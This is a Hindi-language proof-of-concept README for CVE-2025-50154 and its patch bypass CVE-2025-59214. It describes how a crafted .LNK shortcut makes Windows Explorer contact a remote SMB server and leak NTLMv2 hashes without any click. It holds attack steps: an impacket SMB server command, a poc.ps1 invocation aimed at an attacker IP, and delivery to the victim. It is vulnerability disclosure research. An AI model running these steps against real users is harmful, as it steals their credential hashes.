CVE-2025-50154, CVE-2025-59214

विंडोज़ फ़ाइल एक्सप्लोरर ज़ीरो क्लिक NTLMv2-SSP हैश प्रकटीकरण

द्वारा Ruben Enkaoua और Cymulate

पहला ब्लॉग: ज़ीरो क्लिक, एक NTLM: माइक्रोसॉफ्ट सुरक्षा पैच बाइपास (CVE-2025-50154)

दूसरा ब्लॉग: दो बार पैच किया गया, फिर भी बाइपास: नया NTLM लीक (CVE-2025-50154 पैच बाइपास)

विवरण

जबकि माइक्रोसॉफ्ट ने एक आइकन-आधारित NTLM हैश प्रकटीकरण भेद्यता को संबोधित करते हुए एक सुरक्षा अद्यतन जारी किया, मैंने एक बाइपास खोजा जो अभी भी एक हमलावर को उपयोगकर्ता की सहभागिता के बिना NTLMv2-SSP हैश प्राप्त करने की अनुमति देता है।

मूल भेद्यता, जिसे हाल ही में पैच किया गया था, एक 0-क्लिक NTLM हैश प्रकटीकरण था जो तब ट्रिगर हुआ जब explorer.exe ने .LNK शॉर्टकट फ़ाइल का आइकन प्रस्तुत किया जिसका आइकन एक दूरस्थ SMB सर्वर पर होस्ट किया गया था।
पैच के बाद, explorer.exe अब दूरस्थ SMB पथों से आइकन लोड नहीं करता है, जिससे NTLM हैश का स्वचालित प्रकटीकरण रुक जाता है।

अद्यतन: CVE-2025-50154 के लिए पैच बिल्कुल काम नहीं आया। हमने इसकी सूचना दी, और भेद्यता के लिए एक नया CVE निर्दिष्ट किया गया: CVE-2025-59214। POC दोनों CVE के लिए प्रासंगिक है।

इस प्रकार एक .LNK फ़ाइल तैयार करके:

• shell32.dll से डिफ़ॉल्ट आइकन
  
• दूरस्थ SMB-होस्टेड बाइनरी फ़ाइल की ओर संकेत करने वाला लक्ष्य पथ
  
  

explorer.exe प्रक्रिया अभी भी अपने RT_GROUP_ICON और RT_ICON संसाधनों से PE आइकन निकालने के लिए दूरस्थ फ़ाइल को लाएगी।

चरण

अपने सर्वर पर एक Responder सर्वर प्रारंभ करें

# put the binary (for example Taskmgr.exe) in the directory and run the SMB server.
impacket-smbserver share . -smb2support

एक अलग मशीन पर powershell का उपयोग करके एक दुर्भावनापूर्ण LNK तैयार करें, और फिर इसे पीड़ित तक पहुँचाएँ (दुर्भावनापूर्ण डाउनलोड, SMB अपलोड...)

# Replace the values with the path, the responder server IP and the file name on the server. Note: It can take 20 to 30 seconds.
.\poc.ps1 -path "C:\users\user\desktop" -ip "<serverIP>" -share "<share>" -file "<payload.exe>"

explorer.exe प्रक्रिया फ़ाइल को स्वचालित रूप से डाउनलोड करके, .rsrc अनुभाग में RT_ICON और RT_GROUP_ICON हेडर की खोज करके आइकन प्रस्तुत करेगी।

नोट्स

यह कोड केवल शैक्षिक और शोध उद्देश्यों के लिए है।
लेखक इस कोड के किसी भी दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेता है।